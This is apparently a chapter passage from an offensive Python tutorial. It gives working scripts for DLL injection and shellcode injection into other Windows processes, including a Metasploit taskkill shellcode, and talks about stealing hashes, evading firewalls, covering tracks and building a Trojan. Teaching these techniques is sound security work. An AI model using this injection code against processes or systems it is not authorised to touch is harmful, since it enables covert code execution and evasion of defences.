At times when you are reversing or attacking a target, it is useful for you to be able to load code into a remote process and have it execute within that process's context. Whether you're stealing password hashes or gaining remote desktop control of a target system, DLL and code injection have powerful applications. We will create some simple utilities in Python that will enable you to harness both techniques so that you can easily implement them at will. These techniques should be part of every developer, exploit writer, shellcoder, and penetration tester's arsenal. We will use DLL injection to launch a pop-up window within another process, and we'll use code injection to test a piece of shellcode designed to kill a process based on its PID. Our final exercise will be to create and compile a Trojan backdoor entirely coded in Python. It relies heavily on code injection and uses some other sneaky tactics that every good backdoor should use. Let's begin by covering remote thread creation, the foundation for both injection techniques.
There are some primary differences between DLL injection and code injection; however, they are both
achieved in the same manner: remote thread creation. The Win32 API comes preloaded with
a function to do just that,
CreateRemoteThread()
,[35] which is exported from kernel32.dll.
It has the following prototype:
HANDLE WINAPI CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
Don't be intimidated; there are a lot of parameters in there, but
they're fairly intuitive. The first parameter,
hProcess
, should look familiar; it's a handle to the
process in which we are starting the thread. The
lpThreadAttributes
parameter simply sets the security
descriptor for the newly created thread, and it dictates whether the
thread handle can be inherited by child processes. We will set this
value to NULL, which will give it a noninheritable thread handle and a
default security descriptor. The dwStackSize
parameter simply sets the stack size of the newly created thread. We
will set this to zero, which gives it the default size that the process
is already using. The next parameter is the most important one:
lpStartAddress
, which indicates where in memory the
thread will begin executing. It is imperative that we properly set this
address so that the code necessary to facilitate the injection gets
executed. The next parameter, lpParameter
, is nearly
as important as the start address. It allows you to provide a pointer to
a memory location that you control, which gets passed in as a function
parameter to the function that lives at
lpStartAddress
. This may sound confusing at first,
but you will see very soon how this parameter is crucial to performing a
DLL injection. The dwCreationFlags
parameter dictates
how the thread will be started. We will always set this to zero, which
means that the thread will execute immediately after it is created. Feel
free to explore the MSDN documentation for other values that
dwCreationFlags
supports. The
lpThreadId
is the last parameter, and it is populated
with the thread ID of the newly created thread.
Now that you understand the primary function call responsible for making the injection happen, we will explore how to use it to pop a DLL into a remote process and follow it up with some raw shellcode injection. The procedure to get the remote thread created, and ultimately run our code, is slightly different for each case, so we will cover it twice to illustrate the differences.
DLL injection has been used for both good and evil for quite some time. Everywhere you look you will see DLL injection occurring. From fancy Windows shell extensions that give you a glittering pony for a mouse cursor to a piece of malware stealing your banking information, DLL injection is everywhere. Even security products inject DLLs to monitor processes for malicious behavior. The nice thing about DLL injection is that we can write a compiled binary, load it into a process, and have it execute as part of the process. This is extremely useful, for instance, to evade software firewalls that let only certain applications make outbound connections. We are going to explore this a bit by writing a Python DLL injector that will enable us to pop a DLL into any process we choose.
In order for a Windows process to load DLLs into memory, the
DLLs must use the LoadLibrary()
function that's
exported from kernel32.dll. Let's take a quick
look at the function prototype:
HMODULE LoadLibrary( LPCTSTR lpFileName );
The lpFileName
parameter is simply the path
to the DLL you wish to load. We need to get the remote process to call LoadLibraryA
with a pointer to a string value that is the path to the DLL we wish
to load. The first step is to resolve the address where
LoadLibraryA
lives and then write out the name of
the DLL we wish to load. When we call
CreateRemoteThread()
, we will point
lpStartAddress
to the address where
LoadLibraryA
is, and we will set
lpParameter
to point to the DLL path that we have
stored. When CreateRemoteThread()
fires, it will
call LoadLibraryA
as if the remote process had made
the request to load the DLL itself.
The DLL to test injection for is in the source folder for this book, which you can download at http://www.nostarch.com/ghpython.htm. The source for the DLL is also in the main directory.
Let's get down to the code. Open a new Python file, name it dll_injector.py, and hammer out the following code.
import sys from ctypes import * PAGE_READWRITE = 0x04 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = sys.argv[1] dll_path = sys.argv[2] dll_len = len(dll_path) # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) # Allocate some space for the DLL path arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE) # Write the DLL path into the allocated space written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written)) # We need to resolve the address for LoadLibraryA h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") h_loadlib = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA") # Now we try to create the remote thread, with the entry point set # to LoadLibraryA and a pointer to the DLL path as its single parameter thread_id = c_ulong(0) if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, byref(thread_id)): print "[*] Failed to inject the DLL. Exiting." sys.exit(0) print "[*] Remote thread with ID 0x%08x created." % thread_id.value
The first step is to allocate enough memory to store the
path to the DLL we are injecting and then write out the path to the
newly allocated memory space . Next we have to resolve the memory address
where LoadLibraryA
lives , so that we can point the subsequent
CreateRemoteThread()
call to its memory location. Once that thread
fires, the DLL should get loaded into the process, and you should
see a pop-up dialog that indicates the DLL has entered the process.
Use the script like so:
./dll_injector <PID> <Path to DLL>
We now have a solid working example of how useful DLL injection can be. Even though a pop-up dialog is slightly anticlimactic, it's important to understand the technique. Now let's cover code injection!
Let's move on to something slightly more insidious. Code injection enables us to insert raw shellcode into a running process and have it immediately executed in memory without leaving a trace on disk. This is also what allows attackers to migrate their shell connection from one process to another, post-exploitation.
We are going to take a simple piece of shellcode that simply terminates a process based on its PID. This will enable you to move into a remote process and kill the process you were originally executing in to help cover your tracks. This will be a key feature of the final Trojan we will create. We will also show how you can safely substitute pieces of the shellcode so that you can make it slightly more modular to suit your needs.
To obtain the process-killing shellcode, we are going to visit the Metasploit project home page and use their handy shellcode generator. If you haven't used it before, head to http://metasploit.com/shellcode/ and take it for a spin. In this case I used the Windows Execute Command shellcode generator, which created the shellcode shown in Example 7-1. The pertinent settings are also shown:
Example 7-1. Process-killing shellcode generated from the Metasploit project website
/* win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA Size=152 Encoder=None http://metasploit.com */ unsigned char scode[] = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" "\xe7\x74\x61\x73\x6b\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41" "\x41\x41\x41\x41\x41\x41\x41\x00";
When I generated the shellcode, I also cleared the
0x00
byte value from the Restricted Characters text
box and made sure that the Selected Encoder was set to Default
Encoder. The reason for this is shown in the last two lines of the
shellcode, where you see the value \x41
eight
times. Why is the capital letter A being
repeated? Simple. We need to be able to dynamically specify a PID that
needs to be killed, and so we are able to replace the repeated
A character block with the PID to be killed and
pad the rest of the buffer with NULL values. If we had used an
encoder, then those A values would be encoded,
and our life would be miserable trying to do a string replacement.
This way, we can adapt the shellcode on the fly.
Now that we have our shellcode, it's time to get back to the code and demonstrate how code injection works. Open a new Python file, name it code_injector.py, and enter the following code.
import sys from ctypes import * # We set the EXECUTE access mask so that our shellcode will # execute in the memory block we have allocated PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = int(sys.argv[1]) pid_to_kill = sys.argv[2] if not sys.argv[1] or not sys.argv[2]: print "Code Injector: ./code_injector.py <PID to inject> <PID to Kill>" sys.exit(0) #/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA #Size=159 Encoder=None http://metasploit.com */ shellcode = \ "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" padding = 4 - (len( pid_to_kill )) replace_value = pid_to_kill + ( "\x00" * padding ) replace_string= "\x41" * 4 shellcode = shellcode.replace( replace_string, replace_value ) code_size = len(shellcode) # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) # Allocate some space for the shellcode arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) # Write out the shellcode written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written)) # Now we create the remote thread and point its entry routine # to be head of our shellcode thread_id = c_ulong(0) if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None, 0,byref(thread_id)): print "[*] Failed to inject process-killing shellcode. Exiting." sys.exit(0) print "[*] Remote thread created with a thread ID of: 0x%08x" % thread_id.value print "[*] Process %s should not be running anymore!" % pid_to_kill
Some of the code above will look quite familiar, but there are
some interesting tricks here. The first is to do a string
replacement on the shellcode so that we swap our marker string with the
PID we wish to terminate. The other notable difference is in the way
we do our CreateRemoteThread()
call
, which now points to the
lpStartAddress
parameter at the beginning of our
shellcode. We also set lpParameter
to NULL
because we aren't passing in a parameter to a function; rather, we
just want the thread to begin executing the shellcode.
Take the script for a spin by starting up a couple of cmd.exe processes, obtain their respective PIDs, and pass them in as command-line arguments, like so:
./code_injector.py <PID to inject> <PID to kill>
Run the script with the appropriate command-line arguments, and you should see a successful thread created (it will return the thread ID). You should also observe that the cmd.exe process you selected to kill will no longer be around.
You now know how to load and execute shellcode directly from another process. This is handy not only when migrating your callback shells but also when hiding your tracks, because you won't have any code on disk. We are now going to combine some of what you've learned by creating a reusable backdoor that can give us remote access to a target machine anytime it is run. Let's get evil, shall we?